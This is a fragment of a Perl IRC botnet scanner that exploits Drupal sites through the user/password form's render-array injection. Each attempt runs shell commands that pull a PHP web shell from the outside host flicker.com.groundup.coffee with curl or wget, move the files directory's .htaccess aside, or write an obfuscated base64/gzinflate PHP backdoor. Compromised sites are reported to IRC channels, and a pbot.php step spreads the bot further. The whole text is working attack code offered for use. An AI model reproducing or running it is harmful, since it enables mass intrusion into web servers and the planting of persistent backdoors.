/) { my $check11 = &Query($shell11);&Query($pbot); if ($check11 =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL7-Vuln]! [1 ".$site." ]"); sleep(8); if($check11 =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($check11 =~ m/id=(.*?)grup=/){ $user = $1; if($check11 =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 1 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell11." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell11." ]"); &message($chanx,"![12 Exploited 1 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurl1 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=curl -o http://flicker.com.groundup.coffee/cia.php | wget http://flicker.com.groundup.coffee/cia.php"; my $ajax1 = "_triggering_element_name"; my $response1 = $ua->post($addblockurl1, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', $ajax1 => 'name']); my $body1 = $response1->content; my $regex1=''; if($body1 =~ s/$regex1//){ my $newout1=$1; $formcraft2up1="http://".$site."/?q=file/ajax/name/%23value/$newout1"; my $responses1 = $ua->post($formcraft2up1, Content-Type => 'application/json', Content => ['form_build_id' => $newout1]); my $shell1= "http://".$site."/cia.php"; my $pbot = "http://".$site."/pbot.php"; my $checkaddblock1 = $ua->get("$shell1")->content; if($checkaddblock1 =~/
/) { my $checkxx = &Query($shell1);&Query($pbot); if ($checkxx =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL7-Vuln]! [1 ".$site." ]"); sleep(8); if($checkxx =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($checkxx =~ m/id=(.*?)grup=/){ $user = $1; if($checkxx =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 2 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell1." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell1." ]"); &message($chanx,"![12 Exploited 2 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurl2 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=curl+-o+cia.php+http://flicker.com.groundup.coffee/demit.aff"; my $ajax2 = "_triggering_element_name"; my $response2 = $ua->post($addblockurl2, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', $ajax2 => 'name']); my $body2 = $response2->content; my $regex2=''; if($body2 =~ s/$regex2//){ my $newout2=$1; $formcraft2up2="http://".$site."/?q=file/ajax/name/%23value/$newout2"; my $responses2 = $ua->post($formcraft2up2, Content-Type => 'application/json', Content => ['form_build_id' => $newout2]); my $shell2 = "http://".$site."/cia.php"; my $pbot = "http://".$site."/pbot.php"; my $checkaddblock2 = $ua->get("$shell2")->content; if($checkaddblock2 =~/
/) { my $check2 = &Query($shell2);&Query($pbot); if ($check2 =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL7-Vuln]! [1 ".$site." ]"); sleep(8); if($check2 =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($check2 =~ m/id=(.*?)grup=/){ $user = $1; if($check2 =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 3 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell2." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell2." ]"); &message($chanx,"![12 Exploited 3 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurl3 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=mv+sites/default/files/.htaccess+htaccessx;curl+-o+sites/default/files/cia.php+'http://flicker.com.groundup.coffee/demit.aff'"; my $ajax3 = "_triggering_element_name"; my $response3 = $ua->post($addblockurl3, Content-Type => 'application/json', Content => ['form_id' => 'user_pass', $ajax3 => 'name']); my $body3 = $response3->content; my $regex3=''; if($body3 =~ s/$regex3//){ my $newout3=$1; $formcraft2up3="http://".$site."/?q=file/ajax/name/%23value/$newout3"; my $responses3 = $ua->post($formcraft2up3, Content-Type => 'application/json', Content => ['form_build_id' => $newout3]); $shell3 = "http://".$site."/sites/default/files/cia.php"; $pbot = "http://".$site."sites/default/files/pbot.php"; my $checkaddblock3 = $ua->get("$shell3")->content; if($checkaddblock3 =~/
/) { my $check3 = &Query($shell3);&Query($pbot); if ($check3 =~ /MildNet - Shell/) { #&message($chanx,"![3DRUPAL7-Vuln]! [1 ".$site." ]"); sleep(8); if($check3 =~ m/Shell : (.*?)<\/b>/){ $safemo = $1; if($check3 =~ m/id=(.*?)grup=/){ $user = $1; if($check3 =~ m/Sistem : (.*?)<\/b>/){ $infeno = $1; } &message($admin,"![12 Exploited 4 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell3." ]"); &message($wakil,"![9DRUPAL-Vuln]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ] [12 ".$shell3." ]"); &message($chanx,"![12 Exploited 4 ]! [ 14Shell ".$safemo." - 14".$infeno." - 4Uid=".$user." ]"); } else { &message($chanx,"![4NOT-Vuln]! [1 ".$site." ]"); sleep(8); if ($spread == 1) {&Query($pbot);} }}}}} sleep(3); my $ua = LWP::UserAgent->new; $ua->timeout(5); my $addblockurl4 = "http://".$site."/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=echo+PD9waHANCg0KDQovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQogZXZhbChnemluZmxhdGUoc3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ05KeFVqNnpRbG5QbkpkVi9xRTVZOVZjTThFR2xrZ29UbU1CN00yekNVT0M5K2ZWYVBtaW5sSk9iTndJNGRPOWlyd1daOGIvRnNvekxQNWR2R3BldEdhcC9RUC8xMy8veDcvLzJ2M2l4L1daNCt1S2ZYZE0zMjkrLy92dS8vWjlmMGFmajloLy84eC8vdVd2SDFCSmY5V1lBMU9lUlFBYlFwK1ZHRzhrb29vOUx3anhLS1ExYk5PTVBaZG0xL0xXZmE2bjR4UWJCRmJDQTR6MFdrU1BlRGlyaUEzVWRBRHpDeDdvUWduY2d6THMyNXJ2d3h3MUJURXdpYlZrYTJQQ0ZJK2FRYVRRZ09aVm9nYnhIWTVUbzhHUlR3UXdGd2Q5bTBXQ0NkR3R3bWJER1FCVTlOclpmWnpuL1pxRVZNaXduYktBOVJyL1VNRlZPbldwckJHT2s1WkxPMEg4SEI0enI5RmQ5OEdVc2M5Yy91RExPWmFJTXVjdWNFeU5QbklRVWtCR3BoN1hVM3Q3MEt6UHdFWGlYVmNUbGtraHFiY0R0cG1FeFEwUkZQUFZTQnhZOHVvWVoxc2d3T2VuaHJucVJUZjhaT0Z0QXMvRUlSSkp2Z3ZXYndCc3NNTkZXZjB5ZXNJZlBKNnJLMW5USUlHNG5yczFYbEljRW00UXBFcWlCRUtLMWZZeTBrUDJKdDg2akhYUkM1amVNQmJnQWlINmJ1eENKS3AxbGZBYXB4QitGU0duM25nZm5lQjNuMDVmUEJ2VjJjL0x5czBGR3EzODgwVHQ1ZW10Z3ZLL2hTRU84dVRLQnJFNU50WGdxZFhPTTFUbTBLRVdKWERLNnBqZ0NHR0pDQ0tHb0FmMHl4eENJL20ya0kyVzhKeXRQMDlFaGxZRU1ML2hMbXovOVVhUGZTV1B6SFhqL1QwY3ZNUTFqZjZURjlOY3EwdG9QSXhYb0hSRHRsN3lmRDlrR2l4UGZrd0lpKy9qaDJLVXg3a1NSdlNqOGZrcXR4SW9kRGN1UTVvRUJTMDJjcElYdlVJSHcyVHJRRGt3emJYLzR3M0ltUmZxSnRzYXNGcTBxY21Mdlh3Yk1UbVNRVkhKTTVCNU5Nd3V2cUl5WXhxd3dwaGhac3RYOEhKZVVpbHNIZkZuY0QzM3UzaWtyL2hhTlBTQXIrcWtLQzB4V3ozRHd5Z2t2OGlEcXVLU1ZNcnVZNkdZaG8vTDFKY080WnlNcDdTeDBQSnlnekVKcEtwRDRFK21TNkkvVlRqcncyZ1BOYkxlL1hiMGd3Mko1ZTBBVklPbHdNckIrUVJrbW5lU1BNYmlzejFvR2EvQ21hUUVMalBDU3RuZy95aVpFajhqaEJtTHJoY1V3MlZEOCtWQ2dCWXJ5SUVQbmt6TlFnTGx1dmo3aEVZN21kTkxHVnN1ZE0wd2RuenNvdVdUVERtRzNVR3FkWVNOL1BxdEdlMXh6S0RmQkQ5ZnMvUWdtbkppOXk0SHB4eGd5eWVISysxZUNaZUJGN1R2bExya0prNnJwTzRLRThOVlJpb0dlSDhPdEkvOU1DQi9IcVlNd0F2alExVEl1SlpKUlRvbkZTT0M5TW1nazZMU1NEK094OXNOWjJEaGdnenpicjdQY1BycXRWVzJ6OTh3Y0twelU3TDVvQUp1UE1wTHVXS1RqZk1yQmJsRFppcmxDc0srV2RYeUU1QnpIdFVQSWJmZHUrbVhtY0RDMEI0UlgxenVWYWU5R3A5dWtUSWcrRU5DNmx6dWFlZzJtTWhTTXJMWXVjak94T096L0FubWlLWUVmQTlncXozMTNqQWFzUDdnWERuN0ZReG1mTmF3dGwwcHZxdkVwWlJ5R2FPTkJDTlMzRjAvd1ljZzlCQVZvUXBjMW5CL2FkQmtYOXNZckdFUnFJTVZERVRCWmJyK2JyUUR3TW05Y3kzT2dNdjMyMlVKaVFmY1ZyaTQ4cDhPZENrVW4xZEtCTG9mQzJ2Tk5SVm5oWk5oR29la0U2MUZzSll1L3RHZHNjZzhyNS9LYlQvMUdXaTRkYkVLWE43MW1BOEphUW9sWXNMaTgxTm03d3BtbWtSd1pSK2wwYmcyeXNERUIyTlI5SEpQaGZoTzRqcEZWb0VQcW9vUHNROWJkcVVIVW9wbmNoY29aaUw0NVJjRW8xaEZmZWhJLzNIUTloVXlLZ2FKdFlCeVdvK3ZPdE9EblZ0OXB0ZHo3elF3Mko1SmlyVHhjdWdiaUZSemtlb1A3THV5R1NxSXhhUGZlM0ZTVHl3UDVySTFLVUMwS0tpNTJLa2FqS1RvZlB6WTJXNjFQWEdUdUtRWG1nSFUrQUZmTjQyZjRTd3hYbG96WklhOEJPa3ZiUEtCTjk1SG1zYUs5eVFPZVl3RDd6Y25qdUY3YXBsT25EcGlydjZjcmhBOGhBb2JUUEYvQ2ZOUmdKejZzUnNMTzRlTFhFWkh5Z3dVRkdQQzhTdWNzSEF1ZldyQzB5RFh5WjREczg3ZGJZRXhlanJqcUJRYnBsclRoSzhZWTIreFAyaVJvUi9oUmpCYk9QeVRUUk81NEdpZ09jdld4TVJFTkU0L2xpbVdVNzU3WnEzNTJuTFFWeUE4Q2NUOFpZN0NjUStIV0Q3N3M0VlpTLzJQWlNsNVZhNTNVQWZySmk1M0doREFrTTZodXE3QW5DaTloVEdSL3pkQzBwUm5qUVF2NGhhSjd5U0RUY1plZVdmaVN2dnVDV2xLbkp3djhFUHUrNnIxK1BlZ1BqdFQ1ekFGR1MvZlB4SlJobUlxRjFmVkZpbm04a0RzRXo4dDBFeitHMXF6dkloNGMwRUU1dVZuOXI3U1dIUG1BU0JtTGR6dldYL2pOQnZXTHY5TnRTWVFuMElyMGpaS3M4emw1VW9jaHg3YUlncFc1ZjlhYnJHVWRCVVVENThndjRTWjJ2VUZjNUxWRGtIZkdmdVR5TjVLT0ZyZ0pYRDd0ejgvc3JpNytaSWtVMWV4WElqTHJKWVlwZE5ma29zbXMrZWYzK1JDU0VaZythanlFdk8rYkFXQmZVY3dUU3FkV0MrdFVQSlFYTnM1S0tYeEpPTWh6Vlh3Tyt3MDVoQmdMTzd1bnBQNDZDZEQ5TWtuanRURElFd0s2VFUzcC9OUXdrKzc4Mm94RDVVRjFVa3h3Vk5KbkZxZ212VnA5WXBqUkNYYlJIK2syTllCQmxCaVZkT2dQVjJMMkI2bkt0YVZySDhkaGdNTzVjN0xWY3JuZk5HZVVKMWpyM1AzSnhHN2o2UkdyQzc1TTllU1RMZHd6eC9ycFJhb2NkRVZYVk5LeSsvVDN6V1YvZFNkVUJ3UVB1Rnc1UDRtSVFEQmxtQ0JWY245WUdkdEJNcU1OV25lMTJ5Q3cvUnZjOC91OTlYaFdpeWhvSkxqNnZCRndXSmRid0pFd3JlSnZRR1Rma1U0NnB1aU8xdU0waVkzN1oreUF6enJIa2s1MU53RGtuTHpoZXQ4d1JXM0JyVFgrbHhiWVRjSHp6U2RHcjFaQ01xWUpFdlNEMEZBaDd5NkRkUTJSaUw5WlI3aCswSXlwa3VEaUNob1JqWUpXVU9lYjJZNHlNcmhoRWRHbVFIay9pUEFLTGs5U2ZKSHFSdFJETjQvMlpMSnZnQ3p6VlFtU0FvNi84ZGh4ZmxpajRrM3hEUFlBRHFKUTZiQkoxTjNpUVRnU3lkYnZyazhPdXlNcTg3QWk1ZnBqc1hJcDE5c0VmRTI0RStJU3ZKcGt3WVc0Z1o2cmljTjd2UGJyVUY1Um1rMFBCUFFvM0xXblhHSjRlTXFxV20zbE1zU0dFWVg5cUhDK1lhclRrMUk0RnRyYWdXKytMWkdtdThHUVlVVlJUTi9wMStKU2dmcVpHOWtpRURQbUh0Q2E4cUZRbXRxdGR1ZlJJMUFMNFNsK1VIcHA2R3ZURVhzTDFrWHVKMW1ZTGRUSnYwTWpjTktLNkV5Ui9HMUVzKzFCaHZwbWFuSkM4MmhOY1FFQVltb1pkOUszNHJBb2FLa2VzY211R1F0TXNBdDN2eWFpSTg5YTE2dkpuTnFyaHhmUXQyUVkwbUVqRXlHSDgyOGFHOExBcHFkNmFPc3ZxVDJvSjFOSEdOV1JkbkE1NjVIODkza05JL0x2bFhsamg5UFo1ZlNvSzlleEsrN25sVEk4cTllQms2TDdlSCtxTUpZTEpJQk9BbzFIVXR0KzZnd0tIOThxZ3lkWldhcG43ZTB3NjdNZ25sQ1dua1RaT2txSkhpUEs5a3ppaFprcTlvOXN3UkxzTGxJZlFuVXdjUjZWQVFJamNoUzA0YW00SWhwMnFsWXFYb2J3K3lXNzdpU3NjMk1EWElwczVFUVRiYWxHeTBhL0JReklSZmNtb01lS0JaSnVxbWErNUNSY1Y2ODBwTlBBQTRrMmtrUFFuYUVZNkQ0OUNpMmlleHdXZGJINS9zbk5DMkUvYnR3YlBRRUtYUWNxL1BjbkVOYWxXZ3NmVXpGeTZsNkxwbzErczVuRER6eTBCUGVSaFdsYzlxN3BqUjhxZjdZNk5GTXMxSkxEZjIzZTNhWml1NlZ5ekFpRHNnZUFsaEdPdTlMMGxxeWtaNXdlMW1GY2lwR2NveitROFE3RjZLWi9HWjVVdC9lMXEzRVFJVldidzMyYnpDNXpDUTNaZXZnVU56TG4yQ1QwcWlaZkJQRFJkWUtqZWp0S0xQRlQ0MURGUVA3clpwYXZ5S2FUR2I4aTU0TzhKdDJ4OFBZTzd5SWRmUnR1WXkrN2ZGdit1M2pVK2ZtUmFOZDQ1OUJMN0E4bktteWcwU0NTcExndWc1QXNROWJBVDUzSXQ5bURBWFR5ZXVMZDJzRHFqTUZWMWJGcDZoNTlZUVE5QUZtalEvbDZJMXc0TWRkUWYrVW92aElqNmhhNkJ6K3A4WTNlQkJMNTgwZTNsZVJPSlZwOUVVWlJ1eEs5Ui9WclhIclFyektvenZJSkdlUU5TcWpxeDFWdzhjdkc2bTJtT0tZLzE1d25uNDgyclBsa241YUF4cGxrR2NtWHBlRG9HSUdFOWg0TVNiTEVqK1JsSkxzWmdXV2diTzJ3MEtHMzJ6UGxiK28xUW10SlJPVzJWWE1HQ3Jmb0kzQUJ2N25RMEI2RWhybXoyN2N6VjVUVElBWXFsenFiSk1JczFWN1U1NGRKa2RSL09kQmVSM2dGZ0E1RmRCdzJBUHV4QUVzMlN6THk0NEtHN0JwZVFoTk5sMUd4NDArYjM4bC9ZV2h2Sld2L2pra29vVWczK1N3TDJRT2IvZDA2RHh4QjhkQXlrRGI1MHV4aXYzckhOQVdHd2Ywd1o2cm5naDNmNk5USUdpdDNqLzdiK21USWhKODhtQ3p6U1pLcUs3SmR4WVIvQVJmVUk4NnlacDQ4WEMyV09PelYydThBMC8xN3dKNnErT21CVmFLNUJsUkMzZHRodG5yckRTU2pZUXpqMUpQUkxQYVI5WWcvZzFCRkVjc1I0bFVxcjd4cUpSelB1S0tmeitYSTR2VnhWdmxHSjk0UVUwVzFVRHQ1TlJPUE9KOHN6QjA3L1ppU2Q3Nk42V01QUStjbmE2cWhXNGNRNmRaS0dSRTNZaW1UenhPclNaZEtDZGVOdkt2U2NRcG5IMDQvYWJnRjRqQXhhY1dvVHFuM09xandLbVM2SU5jamV4c0VETDRJeHZkNWdVODdDTkhHZk1ralZTbDRkcDYrRWpMTWtacVpHWHlkRUlETnZFdHExQ3NWMWpKVzJ0YS9jUnVlM0JkQWY1cUtBTmlzSFBUNHRJeXRnd1JMaER1V05QSlVNd3NvbVZmMURYdXJhWUxhUnQvWDFvZG5UUW9mTmljUUN0akgvTTIwTG1aRklXUDdXdG5Kb3ZISWt6T2dla2wzME9NTGE0ZHlHL29YYXowOEI2b3NkZjhrTzNBNDdtL0lPblpoTjVyMHp5Ykt6ekd1L0h0b2xXNVpFVHpsSUdiK3ovLzg1My8vKzc4VlZOTDlvMjJhb2V5U3Jmakh1aTMvWE1ZTlUvK1JKbmhPWVAvTWkzbk1pMy84dnpzaS8vVisvZDBmeWNhaC9MczdNbXQrWHVqbitaRkJZemVCZDNORnRUV2JuZkIvWDhTM3BvNG52TExsaWE1cGVGRjN5b1pRNHM3dkUra1lEdmZ0NUhDb0F6bnF5MVI3MW5TL1F5WVhLNitvWjNEMjB0WHZ2aFRkUk1MV04yZ3ZkVmxwdkc0VStGTEdmUkhadUxVci9JU3pqMzdiUXArdUN0SlRmblFaNFI2djBhSFRIRS9LWDlvbW95TXFoem45RVR5OHF1N1kwSzVPbTd0S2hLTDJ4V1BjZzlVU3FnbmFnakxqV3B6ZWdhY0k2ZmxQZmNjNDc4c2FaQUNXVVJvK3JTV1BEa1A4VW4zaDU4NzVRa1dvZ2Rod2NNMFkzc0VNekY1QS9lNHdqTHN4V3VOblhIYlNuaTVZdjNhZ01YQ2VVaDhkZ2pEQVo4NHNWKzBvOEhSVk5SUHFic3pZOXgvRFB1ZStuR3hoRERKUkFLQmNXQXRkaWFOLzJCamVYWmpDMzJMQnBKbXh1dmszQVRFb1hPMWczV0R4aStPWVczS3pFUjRMZEV6b0tIYUYzMUxVc1pzSUowTzBCVU0wT0xrQ1hmcVJLWVJuaVJ2NXgvVUZhL3NhSHFoWEx4U1VRV0lqKzFsTmptd3VnQ0RjK0V5VXQxbklKL1pCTUZNamltWElhc08vQVNrVTRBbFZkNTNtdVkyYVZYMUxZRzNnWUVNQjZ4cnVXQk9EakIzNjlSSWlNcUNVWTFQc2lDbEd5QWliTUc3cFN0VWpCWnMvb0ovdUI4eWJyQ0Y4L1VOZUtYeEhNZmVLaHdCQytULy8vODIzNWw4MzM4Z1VYZ1A2a0x2ZmoxZmVqU1g3NlMrdTRMVDZMb3hHc0t3NjA1bWg2V3I4eGI5SzUybWoxUzBjNHZ5a3FhYlJCNkdod21vY3V1Sm9aMEtOL01GL1ZqQ3Z1REJPYno2NUViN3V4cHRRN3JMTDZsUFdOQVZ4T1FobGRyb05kb2tzM3h1WlpQUjBwaTZnUUwrZExQYjU3ZkYrbmhlMXZ5ZG5oOEFYTzFJQlh2TFAwSzBIa3ZwN0VTcjZKOGEyazVpeWdzUmp2c2w0bGk3Yk01TmdGUVFvR3p3MEZzOVNjblhJRFBnUzJXOHNMbWQ5QklLakxLRDZWOFg5aWhtNE5JM2NaOTF2V3lnc05EemFieGIrMkhUSHd4cytYcCtqMXQ4QWt4WFhGQWFwVHZJOVpBNHpDOXhUN2ovMm1Xc3p2anJ3YWllM0NQSG5MMzFMbE9JcDdUNnAvWTh4ZmMvQVY0MWxKTWxUa2ZvN3Vsb2d1dnhBQS81QXFWK2t5R1ZkSUEvamNvRUpNbVN3WFNmd2crckQ4UHU2bUFzaUxqU0htVVNFc2xNWEdmUFU0dFRpMVhOdUFuSWVCNDFWWDRyTVRTRGNSaFVQVkZ5bWE2S2QwSys2SzFINjQxOGtjMmxhUkp3TnJtUXdtWjhnLzNsT2pQSkorc25uTUVQRTVWT2R6YjU3dTVYUWhoTTFYODZ2TXM3SXdUK1NNQzFKYWZZZHo2bGtxOXUxQmFqeXNpWkVOWStMVDhVL3AvaFdVKzdMWm5tQnoxeUpycTZ2cG85WmFqOHBibE5SalVFVStsZE9uN1Mzejd0NWFYNDkvSWlFY0xFekR4SmVUSDhFNkNhcWtNeVo0SGhPMTgxQ2twUithOXU1ZVYvQ3ZQNzBPa3lBZmM0Y0d6aldXT1ZFcjhZeEJRN01QYXh4RzhxSDBJdHdjUGZVWVViTlBoNzE0aTNTczU5dW0yL204VkxLKzFGYll4SHNzc3pOT3RIeDl4VTVuL2EySjJsYnNHTVB5T3p0cTRZWmwwcTZaQ3JTaGdsMmV4Q01hWWZwa0ZCOHd4UEVDZWpFYkVNSW13b3k4Uk02K0tuU0xlck14SU1DbGUvS2RYTk1yVDJKbzA3TnZBQTc4Ry9UUHhNTlloU2tMcnBSSVd6SXl6bVB3NkJXK2RJMmNMSFN3VE5WQ0FWTDluYWlFQytEZENjZ2ZlYmtRSHg1UjAveWI2TlZnclRyQXhYM2F1Nk5acVBDT0tkekhKQ3g0TXBZN3k4dUlxa0ZqNWp6TFpoaVFtOWk5N054M0poc1FsazBBaklBTFdlTHZuYkExRHFveXZhd3k4blVKNmdoOW12enNuMVNoSkJiV1RNbjUvT2xzMkpZR2ZJbjQ5bDlVaDhsQWhtSnJnQ2xuVitEK1dpWVZtTUNic094MUl4bzJTS1ozdHkwM0tBRXRva01aS2RMb2pZbjEvRzg5MHVmOFE2OU9SQ21sb0JwaSt6T1h6TjBNUjMwVVN6dmJ3L3lTNFdIeElFSjRHU01LbXI2NEp5VUVEaC8xR3ZhQnlBalY1YzhCaEQ4R3NtNTBYSUpJcjZMNkI0QjBqdGREbnZCMnFOMW5raE5CT0Z4cG1jMW1pQmR1NVlDUVhsMmxmZk1MR05PTklsMUpHVm9sR0FaTzgwc2lYam1nckFaaFpXRm84Y2F5eDdJMGc3b1ZyUkJVcG1DbGp4ckNuQW9FaXcwUXlXWWw3WjZLdUFCS05LYkd6UUNkVHozOWxUMTVhVXFJa3ZTdG0yQm94bEE1OEN2aUlKUENSRktyOVN0MHlvYjZKQTBWYUljK0F2Tlg0WHRkNFdOS3NZWHhnK0htaTFCNDhicDllOGVKeDk4L29iQUR3czRDNmhxcGhqYU12U3N6L2FkRDRvT2NZY2IrSkdteGxjcUtvNTl3NWptN2VyTnJOb1dGdHUxMVZGdXZFWGFBMzhmYjhDV0ptei9zREVtL0ZmbFZlQjRQWGFxWjg1SjJlTlUxcWprZyttaStSYWtBS3c1bUVERHpBTmxlSi81R29RZlhiUXRwWEdNWTZQaXMvSWhqWDlJMmczUG02WGQ0NEJGMHB4VUF6YUIxM2RxZUFHUFFVQ0xSUmF3ZlNlYnluMUJnQ3Z0VThaV0ppQUh4Q3VUYUpsQ1BJNnFLbENLcjJqWTJ2SmEyT2JaNUJaOWRBSUJqUFNWV0UzZExoL2hFNktWWlBoNG40blRPUG5aWUFYSGkwajk5Nk5YMGdyUWE4WGZIdzd0ZHZoajFXVzA3VkhqN3RjMUNsVEtoYTlOUzhNenQxZTFydzFvSm1pd3M1blFFZ1J4REZBbnNrM2ZqQXJIczJyVDRBdkhSMzdtNFNVSDlkeXExWU1OMFU0RUl6TFM1NWQ3RHg4SlpUTGNGUGdJL1RnYndhRXNTSDR2U1FHbzlSS0tyY1VuVFVpbmo5WW1tQ1VqWmp4TVV1dGVEMlhqU1dSaHNVM2QzYzgzeU9pRVUvK2RSNk0yT2gzMmlvVjhTQTNPN2E4SmE3TUI3TC9ubFJ2bXZGRG9ISTVhZ1FVSmhoMzFjbkQ1WmhSbjdwWW5ySXpRampRWjZFOFpnNHRxc3FTckZiWndIQWhPU1VzaDJITE4xM0JFMHNtK3NqeXVoLzd0QmJXZnVrejdqckxNYllEOURqVnJ6cHlHZG83cVVLVk42UEpITHFXWEYrNVhHUjNISVlHQTdWQnA3djFya2Y4RkdjZVJQbHRRbVJRUDQwN2JGS3ZIbm1mT29rNThUYmZXaC92ZFFGOTVWSTdHelhrVks0cDRmakxEZ05kSFVpQXVaM0J1VngrQld0ZWY4UG1wTFFOc0pBRlB0bkNQWC9pM3ljSllqKy93c1NvdXQyeDJuWkdJNlNTSTlSeFpyQk83UXNhMUdCV0JaSlM1aW81dkMzNXQ1ME9HclFmV3hXTXVUQzNPdlFnM3l5SHorRmpreE9NZWVha1l3NHA1eXY0b2hYQkpObnJaNGVMWGo4aVFlVDBJV1gzWWtZMmsxWERXcnVKQmp3UzJFdjh1bXNockhzWE1GM3Z0TWpqWUZ4SGxvenpLSEdFaU1qQ0ZSN01ZWG1ZNUN0OVhKb1dEbWErdVpxWDBXOTdnbDhYekViKzIzRzk4bkVqRFB3WlByQ1RMdUNJWDg5VGwwVnkyLzFNZkUxN1grN1drZ1haeW8wWmdsZmEvRWZCQmJoSVZMd0dyNTJlYkpaWXQ1Wjc3SWJGNmVqdVBhYTVFZXE1TmNtL3ZlOGVkZDRlL3Z4ODJDQzFMUVN4VnlDTmZ5aVluY21URGdTSmJ4Z0txR3A3QzBwakpnTWorZHEvQjR2Y3MwbTFKQXVtTVo5c1pCaXlQck5WcWh6cWprSjdxYW9QQzBKdVBkb0NuYkd2aytNTk1venArUWljN2J0aG1xdjVTdEZ4TGhHMjFvMENqOTFVS2M5bTN6K3dHMjgyeXZyejFnS0xIQ1d4RjVXVzBUQTRjQmVsMU9RVWlVeUtuWklhM2RUWG1Vblh1dEoxMFRlWTJJRDBqVEpnMVNja0oxVndxT25xYUZBQjdFMWx3LzNmY1RFR1RkMUFaL1dDd3cydVh0dm84aVpidkFsMER2MEdmbElHL2JlMDNoRzlqTFBremhrK1pJK09TNmZ4YlNSM21ScllIK3dmMi9ValZMVHNYMTJ1clQ0YTV2L2paVDFoaGM2LytqTDdEeXg5Nk5DYlltM3FWc3FZaDNZamptL1dOUm16Um5TcXRyUnpENTI1ZEVDVVo3Q21heVVYN0ZuaXVRVjBobjZpY2IyeDRsTkpSaUg1T01LQlNVUEp0NnhyaEVySTc2Qk1vTTdFS2FHdGRiM2hkYXpMVlpwdlZ2d2JVcU9ETElOQTN4VDRpdHpzeEw5bzkxaWhuZlRQaWFNNzEwNUJmR01zQkovRUNhU0FzNkFPV1NwU2dIUVppbVlUTFZXaldMQzV0T2pHWDRpL0dnbHp0dzBDSE9CcUxISUF0ZU1xTm80N1pwZUkzemMyMTV2NTRaNW9uaDN3VHQ1cUNDWVRlUXkvLzJ0UkJKc05rWVR6dmF1VVBrUHdGbmt0U3NzK1QwOHBuMXlHSG5VUG80OTN5TEpsR1JrZzdkSW5XM1ByUkxjbjFiZG9JQjlSWHVYWWloK1pIYldHTVE3SlF4WkQwQjRxMTYzMXNqZmlNTFVoSmpldGR3eEdZSHlSVDdleVVFNUtmWjY4c1JCRVA2b3NIL2FPdTVHVTIvbFFFS3lEOFdWd2FSOTRaSitWVWUrbU1SUEU4L0taVkFvOHJMdGtDQWs5SUx3elE0TG13K1oyUlQwUjZkSTRQcGhPMEdVQXBIaFZEekMzQm9LVTBLTHhUK2x4MTVXVW1Ib2hJWE1vL3hGMnNzY2hhbE1GWU9iTkpJQml2eUpkYVA4RXc0YlZwRnBJTnpwYlI0aHBKQlQ0bU5SdDR5Tldack9JazRpelRnNnZudnlXNG1CK21Fa2xwN0psTWRVdmlkYnNOZEhsUUlaNEJLZnRmWml5RzNMKzU5aUZMNzg1WlpkaVBXNEU1WVFGa20xV1NNZDI5dy8vNGdPQ28zdWZEQzB4U01sdm5BZ0M4b0pFc2VwaVFrN3R2dWhZdkRZeGtjU3dsR1FSYldUVzh2TWUyWWJVK3NKYzZzZGd1WmVEd3o5YkFXS2hLVVhqalg1ZzZHL0E1V0tBS1NteW1mdHllVDFmUkVuNFpTS1ZtbVFOVUp0K1lvVi9lK0w2WXo3bGFUVkV5RDVOdjQzdzFqV3liSy9tQUJrWUsrNUpXZU5wL1hyYmRnNnh1dTNOczBhUlNlSS9KUDErUk1IL24vbVJRYkROaTU5YnJ6RTlKV01vNjRFWlpERTdUMWoxQi9BajdDQXF2bWFFd3JhTnd3MG5CdUd0YzRFdTU4VzQwQ1QxZDRXckVnNjNRN2MveHphT0gydXZnc2xHWm1ON2xldVhndm5pdTgwelBJaXlidGJqbDVmcXJINnEzQ3owMTNoY0RjRkJBNUtvYXNLMjVaek1GTk5Zd01lM1ErL3ExTDRMcjlaS2wrK2